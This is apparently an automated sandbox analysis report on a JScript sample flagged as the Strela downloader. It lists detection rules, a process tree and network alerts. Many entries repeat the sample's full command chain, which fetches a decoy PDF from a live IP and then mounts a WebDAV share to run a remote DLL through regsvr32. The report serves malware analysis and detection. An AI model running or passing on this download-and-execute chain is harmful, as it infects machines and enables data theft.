Edit tour

Windows Analysis Report
11248212732259326130.js

Overview

General Information

Sample name:	11248212732259326130.js
Analysis ID:	1588541
MD5:	0a6067f34ce4abc7b57370e8c6d8e262
SHA1:	88131d9a4f61d8df9e65f450a353bfc279ed375e
SHA256:	0a8857b58ec525634c710392f057f62133001b1390f9fd2b7ff7bd0194c55a84
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5464 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6604 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6608 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7364 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1620,i,12721182879872049858,961779255223056025,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6004 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 348 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7240 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5464	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6608, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6608, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ProcessId: 5464, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 348, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ProcessId: 5464, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6604, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6608, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6004, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 348, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7240, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6004, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 348, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\11248212732259326130.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5464, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26533108920286.dll, ProcessId: 6604, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:32.905927+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:35.405903+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:13:32.905927+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 11248212732259326130.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 11248212732259326130.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:13:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

